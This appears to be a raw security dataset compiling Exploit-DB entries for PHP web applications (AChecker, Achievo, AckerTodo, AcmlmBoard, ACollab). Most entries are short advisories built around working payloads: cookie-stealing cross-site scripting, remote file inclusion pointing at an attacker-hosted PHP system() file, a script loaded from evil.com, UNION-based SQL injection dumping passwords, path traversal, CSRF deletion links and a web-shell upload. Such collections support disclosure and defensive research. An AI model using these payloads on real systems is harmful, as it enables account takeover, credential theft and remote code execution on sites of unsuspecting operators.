deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34630
Description: AChecker 1.0 - 'URI' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43240/info

AChecker is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AChecker 1.0 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/index.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="uri" value=&#039;http://1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="validate_uri" value="Check It" />
<input type="hidden" name="MAX_FILE_SIZE" value="52428800" />
<input type="hidden" name="uploadfile"; filename="" />
<input type="hidden" name="gid[]" value="8" />
</form>
<script>
document.main.submit();
</script>
Exploit-DB #21745
Description: Achievo 0.7/0.8/0.9 - Remote File Inclusion / Command Execution
Type: webapps
Platform: php
Date: 2002-08-22
Author: Jeroen Latour

Exploit:
source: https://www.securityfocus.com/bid/5552/info

Achievo includes a PHP script which is used to generate JavaScript (class.atkdateattribute.js.php). This script employs a number of PHP include_once() statements to call code contained in function libraries and grab configuration information. Attackers may subvert the variable ($config_atkroot) which is used to store the location of the external files and specify an arbitrary location, such as an attacker-supplied PHP script on a remote host.

Exploitation of this issue will enable the remote attacker to execute commands with the privileges of the webserver hosting the vulnerable software.


Create the following text file (ls.txt) and store it on the attacker host where it is publicly accessible:

<?php system('ls'); ?>

And cause the vulnerable script on the victim host to invoke it with the following request:

http://victimhost/achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://attackerhost/ls.txt?
Exploit-DB #3928
Description: Achievo 1.1.0 - 'config_atkroot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-15
Author: Katatafish

Exploit:
## Achievo 1.1.0(index.php) Remote File Include Vulnerability ##

#Found by : Katatafish (karatatata@hush.com)

#Download http://www.achievo.org/files/achievo-stable-1.1.0.tar.gz

# File: ./atk.inc
 include_once($config_atkroot."atk/modules/class.atkmodule.inc");

# Exploit http://site.com/[path]/index.php?config_atkroot=SHELL

# milw0rm.com [2007-05-15]
Exploit-DB #32409
Description: Achievo 1.3.2 - 'atknodetype' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-20
Author: Rohit Bansal

Exploit:
source: https://www.securityfocus.com/bid/31326/info

Achievo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Achievo 1.3.2; other versions may also be affected. 

http://www.example.com/achievo-1.3.2/dispatch.php?atknodetype= >"><script%20%0a%0d>a lert(document.cookie)%3B</script>&atkaction=adminpim&atklevel=-1&atkprevlevel =0&achievo=cgvuu4c9nv45ofdq8ntv1inm82
Exploit-DB #33014
Description: Achievo 1.3.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-28
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/35140/info

Achievo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Achievo 1.3.4 is vulnerable; other versions may also be affected.

http://www.example.com/achievo/index.php?"><script>alert(0)</script>
http://www.example.com/achievo/dispatch.php?atknodetype=pim.pim&atkaction=<script>alert(document.cookie)</script>
Exploit-DB #9839
Description: Achievo 1.3.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-22
Author: M3NW5

Exploit:
#############################################################
Achievo 1.3.4(debugger.php) Remote File Include Vulnerability
#############################################################
Author	 : M3NW5
Homepage : http://www.indonesiancoder.com
contach  : m3nw5@hackermail.com
Location : INDONESIA
#############################################################
Achievo 1.3.4 Information
#############################################################
Vendor	 : http://www.achievo.org/
Scripts  : http://www.achievo.org/download/
File	 : debugger.php
	   include_once($config_atkroot."atk/include/initial.inc");
Exploit	 : http://target.com/path/debugger.php?config_atkroot=<deviL>
#############################################################
thenqyu	 : IndonesianCoder.SurabayaHackerLink.ServerIsDown.Kill-9
	   Don Tukulesto.KaMtiEz.Vyc0d.Arianom.Denbayan.mistersaint
	   gonzhack.cyb3r_tr0n.m364tr0n.
	   YogyaCarderLink.v3n0m
#############################################################
Exploit-DB #10306
Description: Achievo 1.4.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-04
Author: Nahuel Grisolia

Exploit:
Affected Applications: Confirmed in Achievo 1.4.2. Other versions may also be affected.

Severity: Medium – CVSS: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

Vendor Status: New release available (Achievo 1.4.3)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

The vulnerability is caused due to an improper check in “Document Types” section under Setup menu,
allowing the upload of files with arbitrary extensions to a folder inside the Webroot. This can be
exploited to e.g. execute arbitrary PHP code by uploading a specially crafted PHP script containing
some kind of Web Shell.
Proof of Concept:
Select a file with any extension (including PHP) and upload it using the form. The file will be available
in: 

http://server/modules/docmanager/doctypetemplates/myuploadedfile

For example, we can upload “cmd.php” in our instalation in localhost and execute it entering:


http://server/achievo-1.4.2/modules/docmanager/doctypetemplates/cmd.php


Impact:

Direct execution of arbitrary PHP code in the Web Server.

Solution:

Update the document manager and add a new config (docmanager_allowedfiletypes) for it in
/configs/docmanager.php.inc. With this config you can tell the docmanager what type of files a user can
upload.

Vendor Response:
2009-12-03 – Vulnerability was identified
2009-12-03 – Vendor contacted
2009-12-03 – Vendor confirmed vulnerability
2009-12-03 – Vendor released fixed version
2009-12-04 – Vulnerability published

Contact Information:
For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996 CYBSEC S.A. is devoted exclusively to provide professional services specialized in
Computer Security. More than 150 clients around the globe validate our quality and professionalism.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems
Exploit-DB #10307
Description: Achievo 1.4.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-04
Author: Nahuel Grisolia

Exploit:
Affected Platforms: Any running Achievo

Severity: Medium – CVSS: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)

Vendor Status: New release available (Achievo 1.4.3)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A permanent Cross Site Scripting vulnerability was found in Achievo 1.4.2, because the application
fails to sanitize user-supplied input. The vulnerability can be triggered by any logged-in user who is
able to add a Scheduler Category.

Proof of Concept:


* Add <script>alert(“XSS in Category”);</script> as a new category. Then, browse the Scheduler.


Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an
attacker may obtain authorization cookies that would allow him to gain unauthorized access to the
application.

Solution:

New category is now correctly sanitized.

Vendor Response:
2009-12-03 – Vulnerability was identified
2009-12-03 – Vendor contacted
2009-12-03 – Vendor confirmed vulnerability
2009-12-03 – Vendor released fixed version
2009-12-04 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996 CYBSEC S.A. is devoted exclusively to provide professional services specialized in
Computer Security. More than 150 clients around the globe validate our quality and professionalism.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems
Exploit-DB #15146
Description: Achievo 1.4.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-09-28
Author: Pablo Milano

Exploit:
Advisory Name: Cross Site Request Forgery in Achievo 1.4.3 

 

Internal Cybsec Advisory Id: 2010-08-03 

 

Vulnerability Class: Cross Site Request Forgery 

 

Release Date: 2010-Sept-28 

 

Affected Applications: Achievo 1.4.3 (other versions may be also vulnerable) 

 

Affected Platforms: Any 

 

Local / Remote: Remote 

 

Severity: Medium CVSS#2: 4.0 (AV:N/AC:L/Au:S/C:N/I:P/A:N) 

 

Researcher: Pablo G. Milano 

 

Vendor Status: Confirmed / Patch is available 

 

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf 

 

Vulnerability Description: 

 

As application does not properly validate the “confirm” parameter in URL, a logged-in achievo user 
may be tricked to access an URL leading to deletion of tasks or projects without user.s confirmation 

 

 

Proof of Concept: 

 

1) To delete a project: 


http://server/dispatch.php?atknodetype=project.project&atkselector=project.id='XXXX'&atkaction=delete&atklevel=1&atkprevlevel=0&confirm=Yes 

(where XXXX is the project ID number) 

 

2) To delete an activity: 


http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX'&confirm=Yes 

(where „XXXX. is the actual ID of the activity to be deleted) 

 

Note: Even though a confirmation message is displayed to the user, at that point the activity has 
already been deleted. 

 

 

Solution: Upgrade to version 1.4.5 


 

Vendor Response: 

 

2010-Aug-04: Vendor is contacted 

2010-Aug-05: Vulnerabilities details are sent to vendor 

2010-Aug-25: Vendor informs status 

2010-Sept-27: Vendor and researcher agree publication date 

2010-Sept-28: Vulnerability public disclosure / Patch is released 

 

Contact Information: 

 

For more information regarding the vulnerability feel free to contact the researcher at 

pmilano <at> cybsec <dot> com 

 

About CYBSEC S.A. Security Systems 

 

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in 
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a 
proof of their professional life. 

 

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other 
software and/or hardware provider companies. 

 

Our services are strictly focused on Information Security, protecting our clients from emerging security 
threats, maintaining their IT deployments available, safe, and reliable. 

 

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques 
and contributing with the security community with high quality information exchange. 

 

For more information, please visit www.cybsec.com 

(c) 2010 - CYBSEC S.A. Security Systems
Exploit-DB #15145
Description: Achievo 1.4.3 - Multiple Authorisation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-28
Author: Pablo Milano

Exploit:
Advisory Name: Multiple Authorization Flaws in Achievo 1.4.3 

 

Internal Cybsec Advisory Id: 2010-08-02 

 

Vulnerability Class: Authorization Flaw 

 

Release Date: 2010-Sept-28 

 

Affected Applications: Achievo 1.4.3 (other versions may be also vulnerable) 

 

Affected Platforms: Any 

 

Local / Remote: Remote 

 

Severity: Medium CVSS#2: 4.0 (AV:N/AC:L/Au:S/C:N/I:P/A:N) 

 

Researcher: Pablo G. Milano 

 

Vendor Status: Confirmed / Patch is available 

 

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf 

 

Vulnerability Description: 

 

It is possible to create and delete arbitrary activities to and from arbitrary users by modifying IDs in 
client requests. 

 

 

Proof of Concept: 

 

1) To add activities as another user, just change value of the parameter “person.id” in the POST 
request to “/dispatch.php” to any other valid person ID. 


 

2) To delete activities from any user: 


http://server/dispatch.php?atknodetype=timereg.hours&atkaction=delete&atkselector=hoursbase.id='XXXX' (where „XXXX. is the actual ID of the activity to be deleted) 

 

 

Solution: Upgrade to version 1.4.5 

 

Vendor Response: 

 

2010-Aug-04: Vendor is contacted 

2010-Aug-05: Vulnerabilities details are sent to vendor 

2010-Aug-25: Vendor informs status 


2010-Sept-27: Vendor and researcher agree publication date 

2010-Sept-28: Vulnerability public disclosure / Patch is released 

 

 

 

Contact Information: 

 

For more information regarding the vulnerability feel free to contact the researcher at 

pmilano <at> cybsec <dot> com 

 

About CYBSEC S.A. Security Systems 

 

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in 
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a 
proof of their professional life. 

 

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other 
software and/or hardware provider companies. 

 

Our services are strictly focused on Information Security, protecting our clients from emerging security 
threats, maintaining their IT deployments available, safe, and reliable. 

 

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques 
and contributing with the security community with high quality information exchange. 

 

For more information, please visit www.cybsec.com 

(c) 2010 - CYBSEC S.A. Security Systems
Exploit-DB #22431
Description: Achievo 1.4.5 - Multiple Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2012-11-02
Author: Canberk BOLAT

Exploit:
Information
--------------------
Name :  XSS, LFI and SQL Injection Vulnerabilities in Achievo
Software :  Achievo 1.4.5 and possibly below.
Vendor Homepage :  http://www.achievo.org
Vulnerability Type :  Cross-Site Scripting, Local File Inclusion and SQL
Injection
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-12-016

Description
--------------------
Achievo is a flexible web-based resource management tool for business
environments. Achievo's resource management capabilities will enable
organisations to support their business processes in a simple, but
effective manner.

Details
--------------------
Achievo is affected by XSS, LFI and SQL Injection vulnerabilities in
version 1.4.5.
XSS: http://example.com/dispatch.php (GET: atklevel, atkaction, atkstackid,
atkselector, atkfilter, searchString)
LFI:
http://example.com/dispatch.php?atkaction=search&atknodetype=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.search&searchstring=3
SQL Injection:
http://example.com/achievo-1.4.5/dispatch.php?atknodetype=employee.userprefs&atkaction=edit&atkselector=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)&atklevel=-1&atkprevlevel=0&=3
You can read the full article about Cross-Site Scripting, LFI and SQL
Injection vulnerabilities from here:

Cross-site Scripting (XSS):
http://www.mavitunasecurity.com/crosssite-scripting-xss/
Local File Inclusion: http://www.mavitunasecurity.com/local-file-inclusion/
Blind SQL Injection: http://www.mavitunasecurity.com/blind-sql-injection/

Solution
--------------------
-

Advisory Timeline
--------------------
23/01/2011 - First contact
25/02/2012 - Second contact - No response
01/11/2012 - Advisory released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application Security
Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch : -
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-lfi-and-sql-injection-vulnerabilities-in-achievo/
Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection and
Cross-site Scripting (XSS) in all web applications regardless of the
platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/
Exploit-DB #33281
Description: Achievo 1.x - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-13
Author: Ryan Dewhurst

Exploit:
source: https://www.securityfocus.com/bid/36661/info

Achievo is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Versions prior to Achievo 1.4.0 are affected. 

<SCRIPT SRC=//evil.com/xss.js></SCRIPT>


http://www.example.com/dispatch.php?atkprevlevel=0&atkescape=&atknodetype=organization.contracts&atkaction=admin&atksmartsearch=clear&atkstartat=0&atksearch[contractnumber]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[contractnumber]=substring&atksearch[contractname]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[contractname]=substring&atksearch_AE_contracttype[contracttype][=&atksearchmode[contracttype]=exact&atksearch_AE_customer[customer]="><script>alert(&#039;xss&#039;);</script>&atksearchmode[customer]=substring
Exploit-DB #28494
Description: AckerTodo 4.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-07
Author: viz.security

Exploit:
source: https://www.securityfocus.com/bid/19894/info

AckerTodo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue would allow an attacker to steal cookie-based credentials and to launch other attacks.

Version 4.0 is vulnerable; other versions may also be affected.

index.php?cmd=edit_task&task_id="><script>document.write(document.cookie);</script>
Exploit-DB #28767
Description: AckerTodo 4.2 - 'login.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-10-06
Author: Francesco Laurita

Exploit:
source: https://www.securityfocus.com/bid/20372/info

ackerTodo is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect ackerTodo version 4.2; other versions may also be vulnerable.

http://www.example.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION%20select%20*%20FROM%20tasks
Exploit-DB #5969
Description: AcmlmBoard 1.A2 - 'pow' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-30
Author: anonymous

Exploit:
######################
#
#AcmlmBoard v1.A2 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "AcmlmBoard v1.A2"
#
##
###
##
#
#This Board Software suffers from some not correctly verified variables which are used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#SQL Injection:
#http://[target]/[path]/memberlist.php?sort=&pow=[SQL]
#
#PoC:
#memberlist.php?sort=&pow=9%20union%20select%201,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16%20from%20users--+
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
#######################

# milw0rm.com [2008-06-30]
Exploit-DB #35305
Description: ACollab - 't' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-01
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46095/info

ACollab is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

ACollab 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/acollab/admin/lang.php?lang=&t=xxx'UNION%20SELECT%200,0,'error',GROUP_CONCAT(login,':',password),4%20FROM%20AC_members%20WHERE%20'a'='a